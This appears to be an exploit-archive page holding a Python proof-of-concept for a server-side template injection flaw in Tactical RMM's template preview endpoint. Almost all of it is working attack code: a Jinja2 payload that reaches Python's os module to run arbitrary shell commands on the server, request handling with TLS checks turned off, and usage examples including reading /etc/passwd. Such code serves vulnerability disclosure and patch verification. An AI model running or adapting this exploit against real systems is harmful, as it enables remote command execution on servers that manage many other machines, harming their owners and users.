4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / xpl.py PY
#!/usr/bin/env python3
"""
Tactical RMM SSTI Exploit
Exploits Server-Side Template Injection vulnerability in Jinja2 templates
"""

import argparse
import requests
import sys
import json
from urllib.parse import urlparse

def exploit_ssti(domain, token, command):
    """
    Exploits SSTI vulnerability in template preview endpoint

    Args:
        domain: Tactical API (e.g., api.lizardsec.xyz)
        token: Your user authorization token
        command: Bash command
    """

    # Build the URL
    if not domain.startswith('http'):
        url = f"https://{domain}/reporting/templates/preview/"
    else:
        parsed = urlparse(domain)
        url = f"{parsed.scheme}://{parsed.netloc}/reporting/templates/preview/"

    # Malicious template - SSTI
    template_md = (
        "{% set globals = ''.__class__.__mro__[1].__subclasses__()[140].__init__.__globals__ %}\n"
        "{% set builtins = globals['__builtins__'] %}\n"
        "{% set import_func = builtins['__import__'] %}\n"
        "{% set os_module = import_func('os') %}\n"
        "{% set command_output = os_module.popen('" + command + "').read().strip() %}\n"
        "Command Output: {{ command_output }}"
    )

    payload = {
        "template_md": template_md,
        "type": "markdown",
        "template_css": "",
        "template_html": None,
        "template_variables": {},
        "dependencies": {},
        "format": "html",
        "debug": False
    }

    # Request headers
    headers = {
        "Host": urlparse(url).netloc,
        "Authorization": f"Token {token}",
        "Content-Type": "application/json",
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
        "Accept": "application/json",
        "Origin": f"https://{urlparse(url).netloc}",
        "Referer": f"https://{urlparse(url).netloc}/reporting/templates/3/export"
    }

    print(f"[*] Target: {url}")
    print(f"[*] Command: {command}")
    print(f"[*] Sending SSTI payload...\n")

    try:
        # Send the request
        response = requests.post(
            url,
            headers=headers,
            json=payload,
            timeout=30,
            verify=False  # Ignore SSL verification
        )

        print(f"[+] Status Code: {response.status_code}")
        print(f"[+] Response Length: {len(response.content)} bytes\n")

        if response.status_code == 200:
            print("[+] Exploit executed successfully\n")
            print("="*60)
            print("Output: ")
            print("="*60)

            # Try to parse as JSON
            try:
                json_response = response.json()
                print(json.dumps(json_response, indent=2))
            except:
                # If not JSON, show plain text
                print(response.text)

            print("="*60)

        elif response.status_code == 401:
            print("[-] Error: Invalid authorization token")
        elif response.status_code == 403:
            print("[-] Error: Access denied")
        elif response.status_code == 404:
            print("[-] Error: Endpoint not found")
        else:
            print(f"[-] Error: Unexpected status code")
            print(f"[*] Response: {response.text[:500]}")

    except requests.exceptions.ConnectionError:
        print(f"[-] Error: Could not connect to host {domain}")
    except requests.exceptions.Timeout:
        print("[-] Error: Request timeout")
    except Exception as e:
        print(f"[-] Unexpected error: {str(e)}")

def main():
    parser = argparse.ArgumentParser(
        description='SSTI Exploit for Tactical RMM - Template Preview Endpoint',
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog="""
Usage examples:
  python3 %(prog)s -d api.rmmdomain.xyz -t TOKEN123 -c "id"
  python3 %(prog)s -d https://api.example.com -t TOKEN123 -c "whoami"
  python3 %(prog)s -d api.example.com -t TOKEN123 -c "cat /etc/passwd"
  python3 %(prog)s -d api.example.com -t TOKEN123 -c "ls -la /tmp"

Notes:
  - The token must be valid for API authentication
  - Commands are executed in the web server context
  - Use quotes for commands with spaces or special characters
        """
    )

    parser.add_argument(
        '-d', '--domain',
        required=True,
        help='Tactical API Domain (e.g., api.lizardsec.xyz)'
    )

    parser.add_argument(
        '-t', '--token',
        required=True,
        help='Authorization token'
    )

    parser.add_argument(
        '-c', '--command',
        required=True,
        help='Command to be executed on the server'
    )

    # If no arguments, show help
    if len(sys.argv) == 1:
        parser.print_help()
        sys.exit(1)

    args = parser.parse_args()


    # Suppress SSL warnings
    import urllib3
    urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

    # Execute the exploit
    exploit_ssti(args.domain, args.token, args.command)

if __name__ == "__main__":
    main()